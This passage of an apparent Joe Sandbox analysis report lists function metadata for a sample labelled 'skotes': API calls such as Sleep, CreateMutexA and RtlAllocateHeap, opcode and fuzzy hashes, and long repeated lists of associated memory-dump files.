Instruction Fuzzy Hash: FA213D712852019BFB246769989A77DF2D2DF81304F2408E7E804967D2FBBB59809153

Function 00BDA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 4c90db829cca470804954da5dc70aa39d37c0424b38e27468292e46faa090601
Instruction ID: 2e093b517b7724e2ee0faa39814c7f7cce6ca332b09989ec83ce3f59e30d4a21
Opcode Fuzzy Hash: 4c90db829cca470804954da5dc70aa39d37c0424b38e27468292e46faa090601
Instruction Fuzzy Hash: 1A217C313402449BFB089B28DC8572DF7A2DBC1314F24426AE414977E1D77B55C08352

Function 00C0D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C0A813,00000001,00000364,00000006,000000FF,?,00C0EE3F,?,00000004,00000000,?,?), ref: 00C0D870

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d70740886b7c6a1dd6b0be572161ea1c743b2cc73606659fd0c61b87dacdbb6e
Instruction ID: 1f28cd3c575c6f2552635745c43622915c0e8e6abfe311b5704bdbe849ee320e
Opcode Fuzzy Hash: d70740886b7c6a1dd6b0be572161ea1c743b2cc73606659fd0c61b87dacdbb6e
Instruction Fuzzy Hash: 5BF0273264522466EB212AF39C01B5B3799DF817B0B29C321FC2AA71D1DA30EE00D6E0

Non-executed Functions

Function 00BD2EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00BD2F5F
__Mtx_unlock.LIBCPMT ref: 00BD2FCC
__Cnd_broadcast.LIBCPMT ref: 00BD2FE3
__Mtx_unlock.LIBCPMT ref: 00BD30F5
__Mtx_unlock.LIBCPMT ref: 00BD319B

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5e18ff47379110c3353f6eedc7bf85d00bad8705d24bc153c0f2f49ad584825a
Instruction ID: b0361ddea56a55447289c4fa14b07856d6b442d5074d26971a03cf8454ca6531
Opcode Fuzzy Hash: 5e18ff47379110c3353f6eedc7bf85d00bad8705d24bc153c0f2f49ad584825a
Instruction Fuzzy Hash: A8A1CF70A012469FDB10DB65C944B5AFBE8FF15714F0485AAE815E7342FB31EA05CBD2

Function 00C0CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00C0CC66

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction ID: 498cdc525dfdfb83c2c889e327597b750da7a13a5514c4ff37e8d4622be60cdf
Opcode Fuzzy Hash: b6ef493d185ecd6e05961dbd11159ec72a600f70796096a8f2b5786dd78cba64
Instruction Fuzzy Hash: 3AB136329046559FEB15CF28C8C17EEBBE5EF55340F24426AE865EB2C2D6348E42CB60

Function 00BEBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00BEBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00BEBBE4
_xtime_get.LIBCPMT ref: 00BEBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00BEBC13

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
